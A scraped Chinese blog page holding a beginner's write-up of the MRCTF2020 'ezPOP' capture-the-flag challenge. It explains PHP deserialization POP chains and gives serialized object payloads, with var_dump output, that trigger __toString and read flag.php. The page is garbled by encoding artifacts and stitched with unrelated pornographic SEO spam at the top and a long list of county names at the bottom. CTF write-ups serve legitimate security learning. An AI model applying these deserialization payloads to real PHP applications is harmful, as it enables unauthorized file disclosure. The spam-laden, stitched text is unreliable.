无码av一区二区三区无码,在线观看老湿视频福利,日韩经典三级片,成 人色 网 站 欧美大片在线观看

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

MRCTF2020--ezPOP初學(xué)者學(xué)習(xí)與分析

2023-03-11 23:52 作者:魚(yú)魚(yú)魚(yú)鵝  | 我要投稿

我們直接上題目

我們知道,php的反序列化題目大多是依靠我們傳入一個(gè)序列化的對(duì)象,依靠我們唯一能控制的成員屬性,利用題目里面的魔術(shù)方法一層一層跳轉(zhuǎn)達(dá)到我們 “借刀殺人” 的目的,獲取敏感的數(shù)據(jù),也可以被稱為 “面向?qū)傩跃幊?/strong>”?

題目里包含的魔術(shù)方法如下:

我們開(kāi)始分析題目:

圖片太小請(qǐng)放大,抱歉

我們分析pop鏈的題目時(shí),最好使用逆向分析的方法,也就是把我們離目標(biāo)最近的思路搞清楚,再去想怎么把這個(gè)思路實(shí)現(xiàn),也就是上面圖片的箭頭


下面是Payload:


我犯了一個(gè)小錯(cuò)誤


后面的‘flag.php’其實(shí)就是‘php://xxxxx/resource=flag.php’


忘記改了,抱歉


正確Payload:

正確Payload

O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

?

錯(cuò)誤Payload:

錯(cuò)誤Payload

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";N;}s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

?

分析: 使用 var_dump($s)


正確版:

object(Show)#2 (2) {

? ["source"]=>

? *RECURSION*

? ["str"]=>

? object(Test)#1 (1) {

? ? ["p"]=>

? ? object(Modifier)#3 (1) {

? ? ? ["var":"Modifier":private]=>

? ? ? string(8) "flag.php"

? ? }

? }

}

O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:" Modifier var";s:8:"flag.php";}}}


錯(cuò)誤版:

object(Show)#2 (2) {

? ["source"]=>

? object(Show)#4 (2) {

??? ["source"]=>

??? NULL

??? ["str"]=>

??? NULL

? }

? ["str"]=>

? object(Test)#1 (1) {

??? ["p"]=>

??? object(Modifier)#3 (1) {

????? ["var":"Modifier":private]=>

????? string(8) "flag.php"

??? }

? }

}

?

可以看到,錯(cuò)誤payload的source里的str為NULL,讓觸發(fā)__toString的對(duì)象執(zhí)__toString里面的代碼,接下來(lái)我們只要控制刪不刪除$s的str,兩個(gè)都回顯flag,那說(shuō)明方向是對(duì)的

?

①不刪除:

object(Show)#2 (2) {

? ["source"]=>

? object(Show)#4 (2) {

??? ["source"]=>

??? NULL

??? ["str"]=>

??? object(Test)#1 (1) {

????? ["p"]=>

????? object(Modifier)#3 (1) {

??????? ["var":"Modifier":private]=>

??????? string(8) "flag.php"

????? }

?? ?}

? }

? ["str"]=>

? object(Test)#1 (1) {

??? ["p"]=>

??? object(Modifier)#3 (1) {

????? ["var":"Modifier":private]=>

????? string(8) "flag.php"

??? }

? }

}

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}s:3:"str";r:4;}

成功回顯flag

?

②刪除

object(Show)#2 (2) {

? ["source"]=>

? object(Show)#4 (2) {

??? ["source"]=>

??? NULL

??? ["str"]=>

??? object(Test)#1 (1) {

????? ["p"]=>

????? object(Modifier)#3 (1) {

??????? ["var":"Modifier":private]=>

??????? string(8) "flag.php"

????? }

??? }

? }

? ["str"]=>

? NULL

}

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}s:3:"str";N;}

成功回顯flag

---------

過(guò)了幾分鐘,越想越不對(duì)勁,直接跳下床,我發(fā)現(xiàn)幾分鐘之前的我蠢得可以,echo source這個(gè)對(duì)象觸發(fā)的不就是source的__toString嗎,我在干什么???

如有錯(cuò)誤,請(qǐng)各位大佬指正

MRCTF2020--ezPOP初學(xué)者學(xué)習(xí)與分析的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國(guó)家法律
维西| 遂昌县| 志丹县| 肇州县| 新沂市| 同德县| 许昌市| 永修县| 华宁县| 阿拉善盟| 乐业县| 忻州市| 滦南县| 敦煌市| 四会市| 巴林左旗| 南华县| 隆德县| 平果县| 宿迁市| 保靖县| 大方县| 安庆市| 华坪县| 泰顺县| 林甸县| 东山县| 阳朔县| 襄樊市| 宁城县| 宁海县| 平度市| 阳西县| 沙雅县| 南和县| 萍乡市| 同仁县| 沿河| 安西县| 荣昌县| 靖西县|